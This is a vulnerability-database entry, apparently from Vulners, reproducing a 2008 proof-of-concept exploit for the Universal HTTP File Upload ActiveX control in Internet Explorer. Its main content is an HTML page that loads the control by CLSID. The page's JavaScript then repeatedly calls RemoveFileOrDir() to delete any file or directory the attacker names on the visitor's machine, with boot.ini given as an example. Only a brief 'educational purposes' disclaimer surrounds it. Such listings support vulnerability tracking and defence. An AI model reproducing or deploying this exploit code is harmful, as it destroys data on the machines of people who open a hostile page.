HTTP File Upload ActiveX (UUploaderSvrD.dll) File Deletion Exploit

🗓️ 19 Mar 2008 00:00:00Reported by RootType

HTTP File Upload ActiveX (UUploaderSvrD.dll) File Deletion Exploit. Remote file deletion via ActiveX control in Internet Explorer


                                                &lt;HTML&gt;
&lt;!--

	-&nbsp;Univeral&nbsp;HTTP&nbsp;File&nbsp;Upload&nbsp;(UUploaderSvrD.dll&nbsp;-&nbsp;v6.0.0.35)&nbsp;Remote&nbsp;File&nbsp;Deletetion&nbsp;Exploit&nbsp;-
	
		Author:&nbsp;t0pP8uZz
		Homepage:&nbsp;h4ck-y0u.org&nbsp;/&nbsp;milw0rm.com
		Description:&nbsp;ActiveX&nbsp;Remote&nbsp;File&nbsp;Deletetion
		
		Report:&nbsp;Tested&nbsp;on&nbsp;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Pro&nbsp;(SP2&nbsp;)&nbsp;Internet&nbsp;Explorer&nbsp;7&nbsp;Fully&nbsp;Patched
		
		ActiveX:&nbsp;http://www.uploadactivex.com/Download_versal_file_upload_activeX_control.htm
	
		The&nbsp;Following&nbsp;Material&nbsp;Is&nbsp;For&nbsp;Educational&nbsp;Purposes&nbsp;Only&nbsp;-&nbsp;I&nbsp;will&nbsp;not&nbsp;be&nbsp;held&nbsp;responsable&nbsp;for&nbsp;any&nbsp;illegal&nbsp;actions.
	
		InternetExplorer&nbsp;can&nbsp;Initialise&nbsp;this&nbsp;ActiveX&nbsp;control,&nbsp;And&nbsp;take&nbsp;advantage&nbsp;of&nbsp;its&nbsp;functions.
		The&nbsp;RemoveFileOrDir()&nbsp;function&nbsp;is&nbsp;insecure,&nbsp;and&nbsp;can&nbsp;delete&nbsp;a&nbsp;file&nbsp;of&nbsp;any&nbsp;choice.&nbsp;The&nbsp;main&nbsp;secuirty&nbsp;threat&nbsp;of&nbsp;this&nbsp;ActiveX&nbsp;control&nbsp;is&nbsp;it&nbsp;being&nbsp;Safe&nbsp;Scripting&nbsp;for&nbsp;InternetExplorer.
		
		Below&nbsp;you&nbsp;will&nbsp;find&nbsp;some&nbsp;code&nbsp;which&nbsp;makes&nbsp;use&nbsp;of&nbsp;the&nbsp;developers&nbsp;error&nbsp;and&nbsp;an&nbsp;attack&nbsp;can&nbsp;specify&nbsp;a&nbsp;file&nbsp;to&nbsp;delete.&nbsp;ie(C:/boot.ini)
		
		Vendor:&nbsp;Not&nbsp;Reported

--&gt;
&lt;OBJECT&nbsp;ID=&quot;fileup&quot;&nbsp;CLASSID=&quot;CLSID:04FD48E6-0712-4937-B09E-F3D285B11D82&quot;&gt;Could&nbsp;Not&nbsp;Load&nbsp;ActiveX&nbsp;Control.&lt;/OBJECT&gt;

&lt;script&nbsp;language=&quot;javascript&quot;&gt;
/*&nbsp;-&nbsp;Univeral&nbsp;HTTP&nbsp;File&nbsp;Upload&nbsp;(UUploaderSvrD.dll&nbsp;-&nbsp;v6.0.0.35)&nbsp;Remote&nbsp;File&nbsp;Deletetion&nbsp;Exploit&nbsp;-&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Javascript&nbsp;Code&nbsp;By&nbsp;t0pP8uZz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/

var&nbsp;x&nbsp;=&nbsp;&quot;C:/tmp.txt&quot;;&nbsp;/*&nbsp;Full&nbsp;Path&nbsp;To&nbsp;File&nbsp;To&nbsp;Delete&nbsp;&nbsp;OR&nbsp;directory*/

var&nbsp;del&nbsp;=&nbsp;true;
var&nbsp;c&nbsp;&nbsp;&nbsp;=&nbsp;1;

while(del)&nbsp;{

	try&nbsp;{
		fileup.RemoveFileOrDir(x,&nbsp;c);
		del&nbsp;=&nbsp;false;
		alert(&quot;File&nbsp;Deleted!&quot;);
	}&nbsp;catch(e){&nbsp;c++;&nbsp;}
}

&lt;/script&gt;

&lt;/HTML&gt;

19 Mar 2008 00:00Current

7.1High risk

Vulners AI Score7.1